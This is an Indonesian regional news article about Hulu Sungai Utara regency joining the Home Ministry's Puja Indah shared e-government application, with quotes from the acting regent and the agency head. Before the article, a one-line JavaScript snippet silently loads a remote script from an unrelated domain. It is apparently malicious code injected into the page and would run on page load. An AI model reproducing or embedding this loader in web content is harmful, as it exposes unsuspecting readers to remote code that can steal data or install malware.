(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab HSU Ikut Aplikasi Layanan Pusat Jejaring Inovasi Daerah BPP Kemendagri

KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) resmi ikut serta bersama 28 Kabupaten/Kota dari total 54 pemerintah daerah se Indonesia yang menerapkan aplikasi layanan Pusat Jejaring Inovasi Daerah (Puja Indah).

Kepastian tersebut didapat saat Plt Bupati HSU H Husairi Abdi hadir dalam kegiatan penandatanganan Memorandum of Understanding (MoU) penyataan komitmen Puja Indah bersama 28 Kabupaten/Kota se- Indonesia dengan Kepala Badan Penelitian Pengembangan (BPP) Kementrian Dalam Negeri secara virtual, Jum’at (26/11/2021).

Plt Bupati HSU H Husairi Abdi menyambut baik program dilaksanakan oleh BPP Kemendagri dalam upaya mendorong peningkatan pelayanan publik menuju masyarakat yang lebih sejahtera.

“Kita mengucapkan terima kasih kepada Depdagri khususnya Kepada Badan Litbang Kemendagri. Kita akan memanfaatkan sebaik-baiknya semua aplikasi tersebut, Semoga bermanfaat bagi pemerintah daerah dan masyarakat di Kabupaten HSU,” kata Husairi didamping Kepala Dinas Kominfo HSU, H Adi Lesmana dan Kepala Bappelitbangda HSU Hj Ina Wahyudiati.

Sekadar diketahui, aplikasi Puja Indah merupakan aplikasi layanan pemerintahan berbagi pakai, berbasis data input yang dikembangkan oleh Kemendagri untuk mempercepat layanan pemerintahan melalui layanan elektronik dalam satu platform layanan.

Sementara, Kepala BPP Kemendagri Ahmad Fatoni mengatakan bahwa kegiatan ini merupakan komitmen bersama antara pemerintah pusat dengan pemerintah daerah untuk bisa mendorong peningkatan pelayanan publik menuju masyarakat yang lebih sejahtera dan mempunyai daya saing yang kuat, serta untuk kemajuan yang terus meningkat.

“Terima kasih kepada bapak ibu, bupati, wali kota yang mempunyai komitmen yang tinggi untuk terus memperbaiki pelayanan publik kita untuk terus meningkatkan kesejahteraan hari ini bersama-sama,” ucap Fatoni secara virtual dari aula BPP Kemendagri di Jakarta.

Saat ini aplikasi ini terus dikembangkan, yang mana pada tahun 2018-2019 sebanyak 71 daerah telah yang menandatangani komitmen.

Sedangkan saat ini, sebanyak 28 pemerintah daerah telah melakukan hal serupa dari total 54 daerah yang mengajukan minat atau melanjutkan ingin menggunakan aplikasi berbagi pakai yang bisa digunakan oleh daerah secara gratis.

“Melalui hal ini Kementerian Dalam Negeri dan pemerintah pusat bisa meningkatkan kinerja pemerintah daerah namun dengan prinsip-prinsip efektif, efisien dan akuntabel, pemerintah daerah tidak perlu membuat aplikasi baru terkait dengan aplikasi yang sudah ada,” katanya.

Fatoni berharap dengan adanya komitmen ini dapat menjadikan parameter dalam mengukur kinerja secara transparan pemerintahan daerah, serta mendorong kinerja penyelenggaraan pemerintahan daerah.

Di samping Kabupaten HSU, dua daerah lain di Kalimantan Selatan juga turut serta dalam kegiatan yakni Pemerintah Kabupaten Balangan dan Pemerintah Kabupaten Hulu Sungai Selatan. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie